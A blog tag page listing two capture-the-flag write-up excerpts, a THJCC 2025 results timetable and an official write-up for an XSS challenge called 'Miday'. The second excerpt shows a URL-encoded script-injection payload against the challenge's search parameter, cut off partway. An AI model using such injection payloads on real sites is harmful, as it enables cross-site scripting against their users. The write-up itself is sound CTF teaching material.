legendyang's Blog

Topic

CTF

A collection of 2 issues

THJCC 2025

My results and some (probably incomplete) write up for THJCC 2025. timetable OCRed,not 100% accurate. Challenge Category Value Time Where's My Partner? Misc 430 April 20th, 5:27:43 PM Yoshino's Secret Crypto 210 April 20th, 4:23:49 PM SNAKE Crypto 100 April 20th,

NHNC CTF Official Write Up for Miday

Table Of Contents * Miday * Miday Revenge * Miday Revenge Revenge * Some final thoughts Miday Simple XSS should be simple (?) What made this challenge a little bit difficult is: Encoding + -> " " (space) Common Wrong Payload: http://miday_ahdnsivs.nicewhite.eu.org:60007/search?search=a%22%3E%3Cscript%3Efetch(